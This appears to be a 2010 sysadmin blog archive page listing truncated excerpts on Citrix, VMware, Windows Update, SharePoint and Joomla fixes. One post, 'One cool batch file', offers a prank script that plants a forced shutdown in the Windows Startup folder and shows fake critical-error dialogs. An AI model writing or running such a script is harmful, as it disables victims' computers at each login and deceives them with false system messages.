Install OpenMotif sudo aptitude install libmotif3 Unfortunately, Ubuntu only provide the obsolete libmotif3 version and the not the current version 4 that the receiver is built against. The easiest solution is to install libmotif3 and then run sudo ln -s /usr/lib/libXm.so.3.0.2 /usr/lib/libXm.so.4 Download the latest Citrix Client from: http://citrix.com/English/ss/downloads/ Search Downloads by Product > Citrix [...]
Archive for March, 2010
One cool batch file – ;-D
March 26th, 2010
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@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call [...]
VirtualCenter Passthrough Authentication
March 26th, 2010
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Tired of login in into the Virtual Center Client? Try this… A very useful, yet very undocumented feature of the Virtual Infrastructure Client is that it can be configured to automatically pass your Active Directory credentials without you typing them in. To use: create a shortcut to the Virtual Infrastructure Client, then right-click on it [...]
Disk.UseLunReset and/or Disk.UseDeviceReset
March 26th, 2010
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Another setting often overlooked is Disk.UseLunReset and/or Disk.UseDeviceReset. ESX defaults to Disk.UseLunReset=1 and Disk.UseDeviceReset=1. This means that when a SCSI bus is reset all SCSI reservations are cleared, not for a specific LUN but for the complete device. This is useful when one uses local storage, but within a VMware environment most companies utilize a [...]
Interpreting esxtop Statistics
March 26th, 2010
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Table of Contents Section 1. Introduction Section 2. CPU Section 2.1 Worlds and Groups Section 2.2 Global Statistics Section 2.3 World Statistics Section 3. Memory Section 3.1 Machine Memory and Guest Physical Memory Section 3.2 Global Statistics Section 3.3 Group Statistics Section 4 Disk Section 4.1 Adapter, Device, VM screens Section 4.2 Disk Statistics Section [...]
Reset a Foundry ServerIron XL password
March 25th, 2010
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Previously I posted a blog about completely resetting a Foundry ServerIron XL But what if you only want to reset the password? This is how it works.. Connect with a serial cable to the Foundry ServerIron XL. 1) Unplug the Switch 2) Plug the switch back in, and be immediately ready to: 3) Hit b [...]
Force the update detection from Automatic Update Client
March 22nd, 2010
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When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f REG [...]
Install spellchecker in OpenOffice on Ubuntu 9.10
March 22nd, 2010
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After editing a English document in OpenOffice 3.2 I noticed there was no English ( VS ) spell checker installed. This easily corrected. Just open Synaptic packet manager and search for “my-spell”. Select the languages that you want to add to the spell checker. Start OpenOffice and open the “spelling and grammar” with the F7 [...]
Backup and Restore SharePoint Services 3.0 sites
March 22nd, 2010
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I tried to make a copy of one of our SharePoint sites. It took some help to figure out how to this. So for the future, lets put it here. The thing you should check are the version numbers of the original and target SharePoint servers are the same. They MUST be the same. In [...]
JError Unable to load Database Driver
March 17th, 2010
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After restoring a site with AkeebaBackup I got the following error. JError Unable to load Database Driver After some research the configuration.php missed the database information. The following lines were not complete. var $dbtype = ‘mysql’; var $host = ‘xxxxxxxxxx’; var $user = ‘xxxxxxxxxx’; var $db = ‘xxxxxxxxx’; var $dbprefix = ‘jos_’; I filled those [...]
